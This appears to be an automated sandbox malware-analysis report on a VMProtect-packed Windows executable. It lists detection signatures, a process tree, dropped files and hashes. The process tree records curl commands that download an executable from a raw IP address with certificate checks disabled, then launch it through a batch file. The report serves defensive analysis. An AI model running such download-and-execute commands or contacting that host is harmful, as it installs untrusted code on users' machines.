Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 02:33

General

  • Target
    purge (1).exe
  • Size 9.7MB
  • Sample260719-c195pscx9s
  • SHA256 95c3405d877ecc0556a25cc67b624b22e67d4a5e88ab43828a53a128ce0ac107
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\purge (1).exe
    "C:\Users\Admin\AppData\Local\Temp\purge (1).exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" -k -sS -f --connect-timeout 10 --max-time 30 --retry 3 --retry-delay 1 --retry-all-errors --tcp-nodelay -o "C:\Users\Admin\AppData\Local\Temp\purge_info_240778343.json" "https://144.172.109.102:8080/api/v1/update/info"
      2⤵
        PID:2792
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -k -f -L -S --connect-timeout 10 --max-time 180 --retry 3 --retry-delay 1 --retry-all-errors --tcp-nodelay -o "C:\Users\Admin\AppData\Local\Temp\purge_update_240779015.exe" "https://144.172.109.102:8080/api/v1/update/download"
        2⤵
          PID:4672
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\purge_apply_update_240780953.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2884
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 2
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4212
          • C:\Users\Admin\AppData\Local\Temp\purge (1).exe
            "C:\Users\Admin\AppData\Local\Temp\purge (1).exe"
            3⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2860
            • C:\Windows\system32\curl.exe
              "C:\Windows\system32\curl.exe" -k -sS -f --connect-timeout 10 --max-time 30 --retry 3 --retry-delay 1 --retry-all-errors --tcp-nodelay -o "C:\Users\Admin\AppData\Local\Temp\purge_info_240784906.json" "https://144.172.109.102:8080/api/v1/update/info"
              4⤵
                PID:2204
              • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name="purge (1).exe" --user-data-dir="C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=2860.4712.14509318271839260999 /pfhostedapp:4d8839ab9011abaf43bac14ac296b9929be7533d
                4⤵
                • Enumerates system info in registry
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of WriteProcessMemory
                PID:4852
                • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView /prefetch:4 /pfhostedapp:4d8839ab9011abaf43bac14ac296b9929be7533d --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffc79e55fd8,0x7ffc79e55fe4,0x7ffc79e55ff0
                  5⤵
                    PID:3416
                  • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView" --webview-exe-name="purge (1).exe" --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1720 --field-trial-handle=1724,i,17033099886707433244,2246913961780245594,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:2 /pfhostedapp:4d8839ab9011abaf43bac14ac296b9929be7533d
                    5⤵
                      PID:4252
                    • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView" --webview-exe-name="purge (1).exe" --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2008 --field-trial-handle=1724,i,17033099886707433244,2246913961780245594,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:3 /pfhostedapp:4d8839ab9011abaf43bac14ac296b9929be7533d
                      5⤵
                        PID:5892
                      • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView" --webview-exe-name="purge (1).exe" --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2068 --field-trial-handle=1724,i,17033099886707433244,2246913961780245594,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:4d8839ab9011abaf43bac14ac296b9929be7533d
                        5⤵
                          PID:6100
                        • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                          "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView" --webview-exe-name="purge (1).exe" --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3664 --field-trial-handle=1724,i,17033099886707433244,2246913961780245594,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:4d8839ab9011abaf43bac14ac296b9929be7533d /prefetch:1
                          5⤵
                            PID:1072
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:4604

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          settings.dat

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Crashpad\settings.dat
                          • Size 280B
                          • SHA256 7ea4d99abc50d4fc3edca0d7c8242b7dd7f46bc28481f4ca54f1c4aaf3cc18db
                          • MD5 SHA1 SHA512

                          settings.dat

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Crashpad\settings.dat
                          • Size 280B
                          • SHA256 e2ba573d919b6da596fa1b813df3560a1618368a33695ad2c3cfb2420017f443
                          • MD5 SHA1 SHA512 TLSH

                          throttle_store.dat

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Crashpad\throttle_store.dat
                          • Size 20B
                          • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                          • MD5 SHA1 SHA512

                          data_0

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\DawnCache\data_0
                          • Size 8KB
                          • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                          • MD5 SHA1 SHA512 SSDEEP

                          data_1

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\DawnCache\data_1
                          • Size 264KB
                          • SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
                          • MD5 SHA1 SHA512 SSDEEP

                          data_2

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\DawnCache\data_2
                          • Size 8KB
                          • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                          • MD5 SHA1 SHA512 SSDEEP

                          data_3

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\DawnCache\data_3
                          • Size 8KB
                          • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                          • MD5 SHA1 SHA512 SSDEEP

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          CURRENT

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\shared_proto_db\metadata\CURRENT
                          • Size 16B
                          • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                          • MD5 SHA1 SHA512

                          MANIFEST-000001

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Default\shared_proto_db\metadata\MANIFEST-000001
                          • Size 41B
                          • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Local State
                          • Size 2KB
                          • SHA256 4b227475069d327fb267e0046cb1ea4f2ed47e2273cba0ab0df275aea93af246
                          • MD5 SHA1 SHA512 TLSH

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Local State
                          • Size 3KB
                          • SHA256 194660a650b9c356102aed32b10af5d4c916a1a1f44a7d4590c7bf88741ed010
                          • MD5 SHA1 SHA512 TLSH

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Local State
                          • Size 3KB
                          • SHA256 10cf2d624c3f8e37722a0fd404476c79b6653e772b1bab166508944f64d6cd30
                          • MD5 SHA1 SHA512 TLSH

                          Local State~RFe5a1f12.TMP

                          • Path C:\Users\Admin\AppData\Local\Purge\WebView2\EBWebView\Local State~RFe5a1f12.TMP
                          • Size 1KB
                          • SHA256 c7444d8041802cf6785996f2164eb021c3cf699c409ad4bdb61d82487e6aacca
                          • MD5 SHA1 SHA512 TLSH

                          purge_apply_update_240780953.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\purge_apply_update_240780953.bat
                          • Size 231B
                          • SHA256 af370e13569ab50f00505890c7843fee2571bf4f75cc6cdd7cd3dae3382804b5
                          • MD5 SHA1 SHA512 TLSH

                          purge_info_240778343.json

                          • Path C:\Users\Admin\AppData\Local\Temp\purge_info_240778343.json
                          • Size 49B
                          • SHA256 9a147477669354f7c3b09fe3645e9d6e4da951536aadcbaf9806725ca439c3a3
                          • MD5 SHA1 SHA512

                          purge_update_240779015.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\purge_update_240779015.exe
                          • Size 9.2MB
                          • SHA256 5371a8479e821b5ab18f3e71324cd69b47dfca9d19196622737773d936a1b31f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1072-159-0x00007FFC9A910000-0x00007FFC9A911000-memory.dmp

                          memory/2860-27-0x00007FFC9C150000-0x00007FFC9C152000-memory.dmp

                          memory/2860-28-0x00007FF775470000-0x00007FF776998000-memory.dmp

                          memory/3904-7-0x00007FFC9C170000-0x00007FFC9C172000-memory.dmp

                          memory/3904-12-0x00007FF60D030000-0x00007FF60E72B000-memory.dmp

                          memory/3904-0-0x00007FF60D843000-0x00007FF60DD79000-memory.dmp

                          memory/3904-1-0x00007FFC9C150000-0x00007FFC9C152000-memory.dmp

                          memory/3904-2-0x00007FFC9C160000-0x00007FFC9C162000-memory.dmp

                          memory/3904-3-0x00007FFC9BEA0000-0x00007FFC9BEA2000-memory.dmp

                          memory/3904-4-0x00007FFC9BEB0000-0x00007FFC9BEB2000-memory.dmp

                          memory/3904-6-0x00007FFC996B0000-0x00007FFC996B2000-memory.dmp

                          memory/3904-24-0x00007FF60D030000-0x00007FF60E72B000-memory.dmp

                          memory/3904-22-0x00007FF60D843000-0x00007FF60DD79000-memory.dmp

                          memory/3904-5-0x00007FFC996A0000-0x00007FFC996A2000-memory.dmp

                          memory/4252-58-0x00007FFC9A910000-0x00007FFC9A911000-memory.dmp